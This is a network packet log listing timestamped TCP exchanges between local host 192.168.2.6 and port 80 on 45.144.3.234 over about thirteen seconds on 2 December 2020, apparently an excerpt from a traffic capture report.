Dec 2, 2020 11:53:13.381345987 CET	49781	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.435230017 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.633724928 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.687006950 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.687151909 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.692641020 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.745105028 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.746243000 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.798250914 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.819813967 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.819833040 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.819955111 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.820060015 CET	49783	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.871886969 CET	80	49783	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.057004929 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.109174013 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.109498978 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.113854885 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.165960073 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.166322947 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.222615957 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.244582891 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.244607925 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.244713068 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.244731903 CET	49787	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.297645092 CET	80	49787	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.447313070 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.500498056 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.500704050 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.503417969 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.555365086 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.555636883 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.635701895 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.657265902 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.657318115 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.657484055 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.657596111 CET	49789	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.709608078 CET	80	49789	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.860605955 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.913461924 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.913629055 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.917886019 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:14.981862068 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:14.981981039 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.036329985 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.077527046 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.077553034 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.077670097 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.077738047 CET	49791	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.132010937 CET	80	49791	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.322705030 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.374680042 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.374922037 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.377621889 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.432105064 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.432190895 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.484000921 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.504591942 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.504621983 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.504764080 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.504792929 CET	49793	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.556704044 CET	80	49793	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.704958916 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.756844997 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.758234024 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.761208057 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.813052893 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.813211918 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.865098000 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.888012886 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.888097048 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:15.888304949 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.888340950 CET	49795	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:15.940632105 CET	80	49795	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.067962885 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.121232986 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.121407986 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.124828100 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.177269936 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.177397966 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.229598045 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.253380060 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.253452063 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.253591061 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.253614902 CET	49797	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.305684090 CET	80	49797	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.440406084 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.492430925 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.495469093 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.497787952 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.550386906 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.550455093 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.602180958 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.625170946 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.625202894 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.625375986 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.625411034 CET	49799	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.708633900 CET	80	49799	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.810756922 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.862827063 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.862957001 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.866136074 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.918255091 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.918363094 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.970554113 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.992594004 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.992635965 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:16.992814064 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:16.992862940 CET	49800	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.044872046 CET	80	49800	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.188734055 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.240813017 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.241024971 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.243861914 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.295679092 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.297071934 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.349770069 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.372365952 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.372409105 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.372518063 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.372561932 CET	49802	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.424592972 CET	80	49802	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.556965113 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.609365940 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.611125946 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.613940001 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.666155100 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.666379929 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.719857931 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.740863085 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.740906954 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.741041899 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.741070032 CET	49804	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:17.793421984 CET	80	49804	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:17.993252993 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.045290947 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.046220064 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.048964024 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.101609945 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.101805925 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.153939009 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.175754070 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.175801992 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.175896883 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.175944090 CET	49805	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.229546070 CET	80	49805	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.365092993 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.417530060 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.417690992 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.420409918 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.474806070 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.475081921 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.528959990 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.551269054 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.551314116 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.551433086 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.551470041 CET	49806	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.604935884 CET	80	49806	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.738332033 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.790455103 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.790663004 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.793375015 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.845451117 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.845614910 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.897531033 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.923599005 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.923631907 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:18.923729897 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.923765898 CET	49807	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:18.975704908 CET	80	49807	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.263149977 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.335707903 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.335818052 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.339299917 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.393012047 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.393095016 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.446995974 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.473929882 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.473968029 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.474040985 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.474096060 CET	49809	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.528292894 CET	80	49809	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.656104088 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.708730936 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.708925009 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.713181019 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.765218019 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.767334938 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.822181940 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.844413042 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.844444990 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:19.844666004 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.844686985 CET	49810	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:19.896265030 CET	80	49810	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.168046951 CET	49812	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.220268011 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.220640898 CET	49812	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.223712921 CET	49812	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.275877953 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.275996923 CET	49812	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.328737020 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.352596998 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.352631092 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.352771997 CET	49812	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.405145884 CET	80	49812	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.757963896 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.810424089 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.810614109 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.813499928 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.866005898 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.866096020 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.918544054 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.939320087 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.939351082 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.939424992 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.939445972 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:20.991858959 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.991895914 CET	80	49814	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:20.991978884 CET	49814	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.207509995 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.260623932 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.261465073 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.264204979 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.316198111 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.316510916 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.369070053 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.393949986 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.393980026 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.394143105 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.666687012 CET	49815	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:21.720019102 CET	80	49815	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:21.969497919 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.024631977 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:22.024760008 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.027796030 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.080296993 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:22.080390930 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.132992029 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:22.162085056 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:22.162149906 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:22.162348032 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.162379026 CET	49817	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:22.216130018 CET	80	49817	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.138226986 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.190316916 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.190450907 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.193449974 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.245274067 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.245426893 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.297297955 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.321213007 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.321234941 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.321367025 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.321423054 CET	49818	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.375961065 CET	80	49818	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.544775963 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.597565889 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.597659111 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.601424932 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.656368017 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.656766891 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.709347010 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.731801987 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.731869936 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.731990099 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.732027054 CET	49820	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.784678936 CET	80	49820	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.913642883 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.965364933 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:23.965523958 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:23.968585968 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.022254944 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.022847891 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.074608088 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.096740961 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.096772909 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.096889973 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.099621058 CET	49821	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.154330969 CET	80	49821	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.350528002 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.402568102 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.402756929 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.405828953 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.457627058 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.457792044 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.509629011 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.532399893 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.532428980 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.532685041 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.532893896 CET	49822	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.584471941 CET	80	49822	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.776787043 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.830406904 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.831285000 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.836771011 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.889359951 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.889547110 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.942713022 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.964977026 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.965009928 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:24.965153933 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:24.965195894 CET	49824	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.017604113 CET	80	49824	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.191215038 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.243761063 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.245834112 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.252017975 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.304713011 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.304867983 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.358211994 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.382786036 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.382873058 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.382988930 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.383095026 CET	49825	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.436068058 CET	80	49825	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.572241068 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.625380993 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.625543118 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.628463984 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.681250095 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.681499004 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.734711885 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.760842085 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.761040926 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.763088942 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.763175011 CET	49826	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:25.813847065 CET	80	49826	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:25.976474047 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.029331923 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.029457092 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.033210039 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.086132050 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.086241007 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.139024019 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.161587954 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.161613941 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.161751986 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.161803007 CET	49828	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.215125084 CET	80	49828	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.389996052 CET	49829	80	192.168.2.6	45.144.3.234
